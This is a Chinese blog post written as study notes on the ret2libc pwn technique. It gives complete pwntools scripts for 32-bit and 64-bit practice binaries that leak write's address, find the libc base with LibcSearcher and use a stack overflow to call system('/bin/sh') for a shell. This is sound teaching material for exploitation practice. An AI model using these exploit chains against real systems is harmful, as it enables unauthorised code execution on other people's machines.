pwn学习-ret2libc
昨天学习了re2syscall,该方法主要是系统中没有system()
函数,也没有/bin/sh
字符串,一般该二进制程序使用static link
静态链接,可以找到很多的gadget
,我们可以利用这些gadget进行系统调用
但是在动态链接时,gadget
就变少了,也是同样的没有system()
函数,这时我们需要在函数动态绑定的libc
中找,例如经常使用的system
、/bin/sh
字符串,简单的原理是通过泄露的函数的内存地址,猜测二进制文件的libc
,通过泄露函数内存地址 - 泄露函数在libc中的偏移
算出libc的真实地址,接着通过libc + system偏移
找到system
函数的真实地址,/bin/sh
字符串也同理,最后通过栈溢出调用system("/bin/sh")
getshell
下面我会简单的分析并利用x32
和x64
的二进制程序
所用文件如下:
链接:https://pan.baidu.com/s/1OMAgey3rB_68d0g0FlJEQw
提取码:mqcg
x32分析
得到程序,使用file
和checksec
命令查看二进制文件
接着使用ida打开分析,在ret2libc
函数发现栈溢出漏洞
接着我们的思路就是,通过程序默认的write
函数地址,调用并输出write
函数运行在内存中的真实地址,接着通过偏移分析该程序的libc
版本,然后通过libc
偏移找到system
地址和/bin/sh
地址,脚本如下:
from pwn import *
context(log_level="debug")
p = process("./ret2libc")
e = ELF("./ret2libc")
libc = ELF("/lib32/libc.so.6")
p.recvuntil(b"Welcome to Ret2libc\n")
# 获取程序没有加载到内存 write 的地址
write_plt = e.plt['write']
write_got = e.got['write']
main = 0x080484F4
# 第一次栈溢出,获取write函数在内存中的真实地址
padding = 0x88 + 0x4
payload = b"A" * padding
payload += p32(write_plt)
# 返回地址为 main,在执行完write函数再次运行main函数
payload += p32(main)
# write(1,write_got,4)
payload += p32(1)
payload += p32(write_got)
payload += p32(4)
p.send(payload)
# 获取程序在内存中运行write函数的真实地址
write_addr = u32(p.recv(0x4))
print("write_addr is %#x" %write_addr)
# 如果题目给了libc
# libc基地址 = write_addr - libc中write_addr的偏移
libc_base = write_addr - libc.sym['write']
print("libc_base is %#x" %libc_base)
# 根据基地址获取 system 和 /bin/sh 的地址
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
# 再一次栈溢出,调用system函数执行/bin/sh
p.recvuntil(b"Welcome to Ret2libc\n")
padding = 0x88 + 0x4
payload = b"A" * padding
# system("/bin/sh")
payload += p32(system_addr)
payload += p32(0)
payload += p32(bin_sh_addr)
p.send(payload)
p.interactive()
"""
# 使用one_gadget 没有成功,需要调试满足 one_gadget 条件
one_gadget = 0x1421b4
execve_addr = libc_base + one_gadget
padding = 0x88 + 0x4
payload = b"A" * padding
payload += p32(execve_addr)
payload += p32(0)
input("attack")
"""
上述脚本中,由于我实在本机运行,所以默认使用本机的libc
文件,使用ldd
可以查看
但是pwn
的题目一般程序是在目标机器目标,所以我们不能指定libc,除非题目给了目标系统可执行文件使用的libc,这时就需要使用LibcSearcher
脚本如下:
from pwn import *
from LibcSearcher import *
# context(log_level="debug")
p = process("./ret2libc")
e = ELF("./ret2libc")
# 若没有提供libc,需要使用libcsearcher模块
# libc = ELF("/lib32/libc.so.6")
write_plt = e.plt['write']
write_got = e.got['write']
main = 0x080484F4
p.recvuntil(b"Welcome to Ret2libc\n")
# 获取write函数真实内存地址
padding = 0x88 + 0x4
payload = b"A" * padding
# write(1,write_got,4)
payload += p32(write_plt)
payload += p32(main)
payload += p32(1)
payload += p32(write_got)
payload += p32(4)
p.send(payload)
write_addr = u32(p.recv(4))
print("write_addr is %#x" %write_addr)
# libc_base = write_addr - libc.sym['write']
# system_addr = libc_base + libc.sym['system']
# bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))
# 使用 LibcSearcher
obj = LibcSearcher("write", write_addr)
libc_base = write_addr - obj.dump("write")
print("libc_base is %#x" %libc_base)
system_addr = libc_base + obj.dump("system")
bin_sh_addr = libc_base + obj.dump("str_bin_sh")
p.recvuntil(b"Welcome to Ret2libc\n")
payload = b"A" * padding
# system("/bin/sh")
payload += p32(system_addr)
payload += p32(main)
payload += p32(bin_sh_addr)
p.send(payload)
p.interactive()
运行后,LibcSearcher会判断猜测目标使用的libc,并让我们做出选择,这里需要一个一个尝试,我的是7
x64分析
x64和x32基本一样,不过需要注意的是x64
的函数传参的时候,使用寄存器进行传参,x32
使用的是栈
例如需要执行write
,就需要把第一参数放在rdi
,第二个参数放在rsi
,第三个参数放在rdx
,可以通过下面的网站查看
https://shell-storm.org/shellcode/files/linux-4.7-syscalls-x64.html
所以思路和原理时一样的,脚本如下:
from pwn import *
from LibcSearcher import *
context(log_level="debug")
p = process("./x64_ret2libc")
# p = remote("192.168.154.176",8888)
e = ELF("./x64_ret2libc")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
write_plt = e.plt['write']
write_got = e.got['write']
main = 0x000000000040065B
# gadget
pop_rdi_ret = 0x0000000000400723
pop_rsi_r15_ret = 0x0000000000400721
return_addr = 0x0000000000400626
ret = 0x00000000004004c9
# 第一次栈溢出获取 write 真实地址
p.recvuntil(b"Welcome to x64_ret2libc\n")
padding = 0x80 + 0x8
payload = b"A" * padding
# write(1,write_got,8)
payload += p64(pop_rdi_ret)
payload += p64(1)
payload += p64(pop_rsi_r15_ret)
payload += p64(write_got)
payload += p64(write_got)
# 没有找到pop_rdx_ret gadget,但是程序在调用read函数的时候设置了edx为0x12c,
# 在执行完read函数后程序被我们劫持栈溢出,edx的值还是0x12c,这个时候可以不设置直接调用write函数
# payload += p64(pop_rdx_ret)
payload += p64(write_plt)
payload += p64(return_addr)
p.send(payload)
write_addr = u64(p.recv(8))
print("write_addr is %#x" %write_addr)
# libc_base = write_addr - libc.sym['write']
# print("libc_base is %#x" %libc_base)
# system_addr = libc_base + libc.sym['system']
# bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
# 计算libc基地址,并通过基地址得到system和/bin/sh
obj = LibcSearcher("write", write_addr)
libc_base = write_addr - obj.dump('write')
print("libc_base is %#x" %libc_base)
system_addr = libc_base + obj.dump('system')
bin_sh_addr = libc_base + obj.dump('str_bin_sh')
# 第二次栈溢出得到shell
p.recvuntil(b"Welcome to x64_ret2libc\n")
payload = b"A" * padding
# 不需要加入ret
# payload += p64(ret)
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_addr)
payload += p64(system_addr)
payload += p64(0)
p.send(payload)
p.interactive()
上述我使用的是LibcSearcher
获取getshell,需要手动选择通过泄露write
判断的libc库文件